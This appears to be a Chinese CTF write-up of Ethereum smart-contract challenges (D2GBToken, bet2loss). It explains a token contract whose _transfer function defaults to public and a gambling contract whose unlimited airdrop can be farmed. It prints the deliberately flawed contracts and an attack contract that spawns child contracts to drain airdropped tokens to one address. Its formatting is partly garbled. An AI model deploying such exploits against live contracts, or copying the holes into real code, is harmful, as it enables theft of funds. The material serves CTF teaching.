    function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external view returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value)
external returns (bool);

function transferFrom(address from, address to, uint256 value)
external returns (bool);

event Transfer(
address indexed from,
address indexed to,
uint256 value
);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);

event GetFlag(
string b64email,
string back
);
}

/**
 1. @title SafeMath
 2. @dev Math operations with safety checks that revert on error
    */
    library SafeMath {
/**

    @dev Multiplies two numbers, reverts on overflow.
    */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
    if (a == 0) {
```

```
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b);

return c;
}

/**

@dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold

return c;
}

/**

@dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;

return c;
}

/**

@dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}
}

/**

1. @title Standard ERC20 token
2.
3. @dev Implementation of the basic standard token.
4. https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
5. Originally based on code by FirstBlood:
   https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
   */
```

```
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _balances;

mapping (address => mapping (address => uint256)) public _allowed;

mapping(address => bool) initialized;

uint256 public _totalSupply;

uint256 public constant _airdropAmount = 10;

/**

1. @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**

1. @dev Gets the balance of the specified address.
2. @param owner The address to query the balance of.
3. @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}

/**

1. @dev Function to check the amount of tokens that an owner allowed to a spender.
2. @param owner address The address which owns the funds.
3. @param spender address The address which will spend the funds.
4. @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
```

returns (uint256)
{
return _allowed[owner][spender];
}
/**

1. @dev Transfer token for a specified address
2. @param to The address to transfer to.
3. @param value The amount to be transferred.
   */
   function transfer(address to, uint256 value) public returns (bool) {
   AirdropCheck();
   _transfer(msg.sender, to, value);
   return true;
   }
   /**

1. @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
2. Beware that changing an allowance with this method brings the risk that someone may use both the old
3. and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
4. race condition is to first reduce the spender’s allowance to 0 and set the desired value afterwards:
5. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
6. @param spender The address which will spend the funds.
7. @param value The amount of tokens to be spent.
   */
   function approve(address spender, uint256 value) public returns (bool) {
   require(spender != address(0));

```
AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;
```

}

/**

1. @dev Transfer tokens from one address to another
2. @param from address The address which you want to send tokens from
3. @param to address The address which you want to transfer to
4. @param value uint256 the amount of tokens to be transferred
   */
   function transferFrom(
   address from,
   address to,
   uint256 value
)
   public
   returns (bool)

```
        {
        require(value <= _allowed[from][msg.sender]);
        AirdropCheck();
```

```
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
```

```
}

/**

        @dev Transfer token for a specified addresses

        @param from The address to transfer from.

        @param to The address to transfer to.

        @param value The amount to be transferred.
        */
        function _transfer(address from, address to, uint256 value) {
        require(value <= _balances[from]);
        require(to != address(0));

        _balances[from] = _balances[from].sub(value);
        _balances[to] = _balances[to].add(value);
        }
        }

contract D2GBToken is ERC20 {

string public constant name = “D2GBToken”;
string public constant symbol = “D2GBToken”;
uint8 public constant decimals = 18;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

/**

1. @dev Constructor that gives msg.sender all of existing tokens.
        */
        constructor() public {
        _totalSupply = INITIAL_SUPPLY;
        _balances[msg.sender] = INITIAL_SUPPLY;
        emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
        }
//flag
function PayForFlag(string b64email) public payable returns (bool success){
```

```
require (_balances[msg.sender] &gt; 10000000);
  emit GetFlag(b64email, "Get flag!");
```

```
}
}
```

每个用户都会空投10 D2GBToken作为初始资金，合约里基本都是涉及到转账的函数，常用的转账函数是

```
  function transfer(address to, uint256 value) public returns (bool) {

AirdropCheck();

_transfer(msg.sender, to, value);

return true;

}
```

function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _allowed[from][msg.sender]);
AirdropCheck();

```
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
```

}

可见，transfer默认指定了msg.sender作为发信方，无法绕过。

transferFrom触发转账首先需要用approvel授权，这是一个授权函数，只能转账授权额度，也不存在问题。

唯一的问题就是

```
  function _transfer(address from, address to, uint256 value) {

require(value <= _balances[from]);

require(to != address(0));
```

```
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
```

}

在solidity中，未定义函数权限的，会被部署为public，那么这个原本的私有函数就可以被任意调用，直接调用_transfer从owner那里转账过来即可。

bet2loss

bet2loss是我在审计dice2win类源码的时候发现的问题，可惜出题失误了，这里主要讨论非预期解吧。

```
Description

0x006b9bc418e43e92cf8d380c56b8d4be41fda319 for ropsten and open source
```

D2GBToken is onsale. Now New game is coming.
We'll give everyone 1000 D2GBTOKEN for playing. only God of Gamblers can get flag.

```
solved: 5

score: 735.09
```

我们来看看代码，这次附上带有注释版本的

我们来看看代码，这块前主带有注释版本的

```
pragma solidity ^0.4.24;

/**
    @title SafeMath

    @dev Math operations with safety checks that revert on error
    */
    library SafeMath {

    /**

        @dev Multiplies two numbers, reverts on overflow.
        */
        function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
        return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
        }

    /**

        @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
        */
        function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0); // Solidity only automatically asserts when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
        }

    /**

        @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
        */
        function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
        }

    /**
```

@dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);

return c;
}
}

/**

@title Standard ERC20 token

2.

@dev Implementation of the basic standard token.

https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md

Originally based on code by FirstBlood:
https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20{
using SafeMath for uint256;

mapping (address => uint256) public balances;

uint256 public _totalSupply;

/**

1. @dev Total number of tokens in existence
   */
   function totalSupply() public view returns (uint256) {
   return _totalSupply;
   }

/**

1. @dev Gets the balance of the specified address.
2. @param owner The address to query the balance of.
3. @return An uint256 representing the amount owned by the passed address.
   */
   function balanceOf(address owner) public view returns (uint256) {
   return balances[owner];
   }

function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);

```
return true;
```

}
}

contract B2GBToken is ERC20 {

```
string public constant name = "test";
string public constant symbol = "test";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;

uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));

mapping(address =&gt; bool) initialized;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
 initialized[msg.sender] = true;
 _totalSupply = INITIAL_SUPPLY;
 balances[msg.sender] = INITIAL_SUPPLY;
}

// airdrop
function AirdropCheck() internal returns (bool success){
  if (!initialized[msg.sender]) {
        initialized[msg.sender] = true;
        balances[msg.sender] = _airdropAmount;
        _totalSupply += _airdropAmount;
    }
    return true;
}
```

}

// 主要代码

contract Bet2Loss is B2GBToken{

/// *** Constants section

```
 // Bets lower than this amount do not participate in jackpot rolls (and are
 // not deducted JACKPOT_FEE).
 uint constant MIN_JACKPOT_BET = 0.1 ether;

 // There is minimum and maximum bets.
 uint constant MIN_BET = 1;
 uint constant MAX_BET = 100000;

 // Modulo is a number of equiprobable outcomes in a game:
 // - 2 for coin flip
 // - 6 for dice
 // - 6*6 = 36 for double dice
 // - 100 for etheroll
 // - 37 for roulette
 // etc.
 // It's called so because 256-bit entropy is treated like a huge integer and
 // the remainder of its division by modulo is considered bet outcome.
 uint constant MAX_MODULO = 100;

 // EVM BLOCKHASH opcode can query no further than 256 blocks into the
 // past. Given that settleBet uses block hash of placeBet as one of
 // complementary entropy sources, we cannot process bets older than this
 // threshold. On rare occasions dice2.win croupier may fail to invoke
 // settleBet in this timespan due to technical issues or extreme Ethereum
```

```
// congestion; such bets can be refunded via invoking refundBet.
uint constant BET_EXPIRATION_BLOCKS = 250;

// Some deliberately invalid address to initialize the secret signer with.
// Forces maintainers to invoke setSecretSigner before processing any bets.
address constant DUMMY_ADDRESS = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;

// Standard contract ownership transfer.
address public owner;
address private nextOwner;

// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;

// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;

// Accumulated jackpot fund.
uint128 public jackpotSize;

// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public lockedInBets;

// A structure representing a single bet.
struct Bet {
  // Wager amount in wei.
  uint betnumber;
  // Modulo of a game.
  uint8 modulo;
  // Block number of placeBet tx.
  uint40 placeBlockNumber;
  // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
  uint40 mask;
  // Address of a gambler, used to pay out winning bets.
  address gambler;
}

// Mapping from commits to all currently active &amp;amp; processed bets.
mapping (uint =&amp;gt; Bet) bets;

// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount);

// This event is emitted in placeBet to record commit in the logs.
event Commit(uint commit);

event GetFlag(
 string b64email,
 string back
);

// Constructor. Deliberately does not take any parameters.
constructor () public {
  owner = msg.sender;
  secretSigner = DUMMY_ADDRESS;
}

// Standard modifier on methods invokable only by contract owner.
```

```
modifier onlyOwner {
  require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
  _;
}

// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
  secretSigner = newSecretSigner;
}

/// *** Betting logic

// Bet states:
// amount == 0 &amp;&amp; gambler == 0 - 'clean' (can place a bet)
// amount != 0 &amp;&amp; gambler != 0 - 'active' (can be settled or refunded)
// amount == 0 &amp;&amp; gambler != 0 - 'processed' (can clean storage)
//
// NOTE: Storage cleaning is not implemented in this contract version; it will be added
//    with the next upgrade to prevent polluting Ethereum state with expired bets.

// Bet placing transaction - issued by the player.
// betMask     - bet outcomes bit mask for modulo &lt;= MAX_MASK_MODULO,
//          [0, betMask) for larger modulos.
// modulo     - game modulo.
// commitLastBlock - number of the maximum block where "commit" is still considered valid.
// commit     - Keccak256 hash of some secret "reveal" random number, to be supplied
//          by the dice2.win croupier bot in the settleBet transaction. Supplying
//          "commit" ensures that "reveal" cannot be changed behind the scenes
//          after placeBet have been mined.
// r, s      - components of ECDSA signature of (commitLastBlock, commit). v is
//          guaranteed to always equal 27.
//
// Commit, being essentially random 256-bit number, is used as a unique bet identifier in
// the 'bets' mapping.
//
// Commits are signed with a block limit to ensure that they are used at most once - otherwise
// it would be possible for a miner to place a bet with a known commit/reveal pair and tamper
// with the blockhash. Croupier guarantees that commitLastBlock will always be not greater tha
n
// placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details.
function placeBet(uint betMask, uint modulo, uint betnumber, uint commitLastBlock, uint commit
, bytes32 r, bytes32 s, uint8 v) external payable {
  // betmask是赌的数
  // modulo是总数/倍数
  // commitlastblock 最后一个能生效的blocknumber
  // 随机数签名hash， r, s

  // airdrop
  AirdropCheck();

  // Check that the bet is in 'clean' state.
  Bet storage bet = bets[commit];
  require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

  // check balances &gt; betmask
  require (balances[msg.sender] &gt;= betnumber, "no more balances");

  // Validate input data ranges.
  require (modulo &gt; 1 &amp;&amp; modulo &lt;= MAX_MODULO, "Modulo should be within range.")
```

```
;
   require (betMask &gt;= 0 &amp;&amp; betMask &lt; modulo, "Mask should be within range.");
   require (betnumber &gt; 0 &amp;&amp; betnumber &lt; 1000, "BetNumber should be within range.
");


   // Check that commit is valid - it has not expired and its signature is valid.
   require (block.number &lt;= commitLastBlock, "Commit has expired.");
   bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
   require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid.")
;

   // Winning amount and jackpot increase.
   uint possibleWinAmount;

   possibleWinAmount = getDiceWinAmount(betnumber, modulo);

   // Lock funds.
   lockedInBets += uint128(possibleWinAmount);

   // Check whether contract has enough funds to process this bet.
   require (lockedInBets &lt;= balances[owner], "Cannot afford to lose this bet.");


   balances[msg.sender] = balances[msg.sender].sub(betnumber);
   // Record commit in logs.
   emit Commit(commit);

   // Store bet parameters on blockchain.
   bet.betnumber = betnumber;
   bet.modulo = uint8(modulo);
   bet.placeBlockNumber = uint40(block.number);
   bet.mask = uint40(betMask);
   bet.gambler = msg.sender;
 }

 // This is the method used to settle 99% of bets. To process a bet with a specific
 // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
 // "commit". it
 // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
 function settleBet(uint reveal) external {
   AirdropCheck();

   uint commit = uint(keccak256(abi.encodePacked(reveal)));

   Bet storage bet = bets[commit];
   uint placeBlockNumber = bet.placeBlockNumber;

   // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
   require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or be
fore.");
   require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be qu
eried by EVM.");

   // Settle bet using reveal as entropy sources.
   settleBetCommon(bet, reveal);
 }


 // Common settlement code for settleBet &amp; settleBetUncleMerkleProof.
```

```
function settleBetCommon(Bet storage bet, uint reveal) private {
  // Fetch bet parameters into local variables (to save gas).
  uint betnumber = bet.betnumber;
  uint mask = bet.mask;
  uint modulo = bet.modulo;
  uint placeBlockNumber = bet.placeBlockNumber;
  address gambler = bet.gambler;

  // Check that bet is in 'active' state.
  require (betnumber != 0, "Bet should be in an 'active' state");

  // The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners
  // are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256
  // preimage is intractable), and house is unable to alter the "reveal" after
  // placeBet have been mined (as Keccak256 collision finding is also intractable).
  bytes32 entropy = keccak256(abi.encodePacked(reveal, placeBlockNumber));

  // Do a roll by taking a modulo of entropy. Compute winning amount.
  uint dice = uint(entropy) % modulo;

  uint diceWinAmount;
  diceWinAmount = getDiceWinAmount(betnumber, modulo);

  uint diceWin = 0;

  if (dice == mask){
   diceWin = diceWinAmount;
  }

  // Unlock the bet amount, regardless of the outcome.
  lockedInBets -= uint128(diceWinAmount);

  // Send the funds to gambler.
  sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin , diceWin);
}

// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint modulo) private pure returns (uint winAmount) {
 winAmount = amount * modulo;
}

// 付奖金
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
 transfer(beneficiary, amount);
 emit Payment(beneficiary, successLogAmount);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){

 require (balances[msg.sender] &gt; 10000000);
 emit GetFlag(b64email, "Get flag!");
}
```

}

这是一个比较经典的赌博合约，用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中，我讨论过这个制度的合理性，除非选择终止，否则可以保证一定程度的公平。

https://lorexxar.cn/2018/10/18/dice2win-safe/

代码比较长，我在修改dice2win的时候还留了很多无用代码，可以不用太纠结。流程大致如下：

1、在页面中点击下注

2、后端生成随机数，然后签名，饭后commit, r, s, v

```
    # 随机数

reveal = random_num()

result[‘commit’] = “0x”+sha3.keccak_256(bytes.fromhex(binascii.hexlify(reveal.to_bytes(32, ‘big
’)).decode(‘utf-8’))).hexdigest()
```

```
# web3获取当前blocknumber
result['commitLastBlock'] = w3.eth.blockNumber + 250

message = binascii.hexlify(result['commitLastBlock'].to_bytes(32,'big')).decode('utf-8')+result
['commit'][2:]
message_hash = '0x'+sha3.keccak_256(bytes.fromhex(message)).hexdigest()

signhash = w3.eth.account.signHash(message_hash, private_key=private_key)

result['signature'] = {}
result['signature']['r'] = '0x' + binascii.hexlify((signhash['r']).to_bytes(32,'big')).decode('
utf-8')
result['signature']['s'] = '0x' + binascii.hexlify((signhash['s']).to_bytes(32,'big')).decode('
utf-8')

result['signature']['v'] = signhash['v']
```

3、回到前端，web3.js配合返回的数据，想meta发起交易，交易成功被打包之后向后台发送请求settlebet。

4、后端收到请求之后对该commit做开奖

```
transaction = bet2loss.functions.settleBet(int(reveal)).buildTransaction(

{‘chainId’: 3, ‘gas’: 70000, ‘nonce’: nonce, ‘gasPrice’: w3.toWei(‘1’, ‘gwei’)})
```

signed = w3.eth.account.signTransaction(transaction, private_key)

result = w3.eth.sendRawTransaction(signed.rawTransaction)

5、开奖成功

在这个过程中，用户得不到随机数，服务端也不能对随机数做修改，这就是现在比较常用的hash-reveal-commit随机数生成方案。

整个流程逻辑比较严谨。但有一个我预留的问题，**空投**。

在游戏中，我设定了每位参赛玩家都会空投1000个D2GB，而且没有设置上限，如果注册10000个账号，然后转账给一个人，那么你就能获得相应的token，这个操作叫**薅羊毛**，曾经出过不少这样的事情。

https://paper.seebug.org/646/

https://paper.seebug.org/640/

这其中有些很有趣的操作，首先，如果你一次交易一次交易去跑，加上打包的时间，10000次基本上不可能。

所以新建一个合约，然后通过合约来新建合约转账才有可能实现。

这其中还有一个很有趣的问题，循环新建合约，在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大，那么交易就会失败，它就不会被打包。

简单的测试可以发现，大约50次循环左右gas刚好够用。攻击代码借用了@sissel的

```
pragma solidity ^0.4.20;

contract Attack_7878678 {

//    address[] private son_list;
```

```
function Attack_7878678() payable {}

function attack_starta(uint256 reveal_num) public {
    for(int i=0;i&lt;=50;i++){
        son = new Son(reveal_num);
    }
}

function () payable {
}
```

}

contract Son_7878678 {

```
function Son_7878678(uint256 reveal_num) payable {
    address game = 0x006b9bc418e43e92cf8d380c56b8d4be41fda319;
    game.call(bytes4(keccak256("settleBet(uint256)")),reveal_num);
    game.call(bytes4(keccak256("transfer(address,uint256)")),0x5FA2c80DB001f970cFDd388143b88709
1Bf85e77,950);
}
function () payable{
}
```

}

跑个200次就ok了

ethre

Look here: https://github.com/Hcamael/ethre_source